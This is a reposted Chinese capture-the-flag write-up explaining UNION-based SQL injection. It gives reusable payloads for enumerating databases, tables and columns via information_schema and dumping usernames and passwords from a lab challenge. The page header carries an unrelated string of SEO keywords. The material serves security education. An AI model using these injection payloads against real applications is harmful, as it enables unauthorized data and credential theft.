您的位置:首页 > 游戏 > 手游 > 郴州制作网站设计较好的公司_国家知识商标局官网_店铺seo是什么意思_微信软文是什么意思

郴州制作网站设计较好的公司_国家知识商标局官网_店铺seo是什么意思_微信软文是什么意思

2024/12/15 6:06:29 来源:https://blog.csdn.net/2301_80148821/article/details/143636312  浏览:    关键词:郴州制作网站设计较好的公司_国家知识商标局官网_店铺seo是什么意思_微信软文是什么意思
郴州制作网站设计较好的公司_国家知识商标局官网_店铺seo是什么意思_微信软文是什么意思

[极客大挑战 2019]LoveSQL 1

审题

又是一道SQL题,还和上面Easy_SQL是一个系列的题。

知识点

SQL注入之联合查询。

知识点详解

联合查询

基础讲解:

union联合查询定义是:可以使用UNION操作符,将多个查询结果,按行进行纵向合并。

基本语法

SELECT <字段名> FROM <表名>
UNION
SELECT <字段名> FROM <表名>

我们常用到的SQL语句有:

  1. 查询字段
1' order by X#  //X替换为数字
  1. 查询注入点
1' union select 1,2,3,···,X#
  1. 爆数据库
1' union select 1,2,database()#
  1. 爆表,只有一个数据库时
1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#

有多个数据库时

1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='XXX'#
  1. 爆表的列
1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='XXX'#
  1. 读取内容
1' union select 1,2,group_concat(XXX{列的名字}) from XXX{列所在的表的名字}#

group_concat

其中,group_concat函数的作用是将查询到的每行结果合并成一行并以逗号隔开。

比如:

没使用group_concat时,用concat查询的情况如下

ID
USER
PASSWARD

使用了group_caoncat后的结果就如下

ID,USER,PASSWARD

information_schema

nformation_schema是mysql自带的一个信息数据库,保存着关于MySQL服务器所维护的所有其他数据库的信息。

所以我们将从information_schema数据库中找到表名和列名。

另外,联合查询还有有很多种查询方法,大家可以去自行查找。

参考博客:

SQL入门之第十二讲——UNION 联合查询

解题

  1. 进行SQL注入测试。当输入1’时发现有报错回显,可以猜测有SQL注入。

    image-20240114151208671

  2. 使用基础的1’ show databases# 无法得到库名,我们使用联合查询。

    由上面的知识点详解的步骤开始解题

    1. 查询字段,从1一直尝试到4,发现输入1’ order by 4# 时出现报错

image-20240114152452448

  1. 猜测其有三个字段,查询注入点
1' union select 1,2,3#

image-20240114152908158

通过回显可以看出2,3都是注入点。

  1. 爆库名

    1' union select 1,2,database()#
    

    image-20240114153051216

  2. 爆表名

    1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#
    

    image-20240114153617445

  3. 爆列名

    1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1'#
    

    image-20240114153812750

  4. 爆这个列名中的所有内容

    1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1#
    

    得到flag

    image-20240114154228516

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com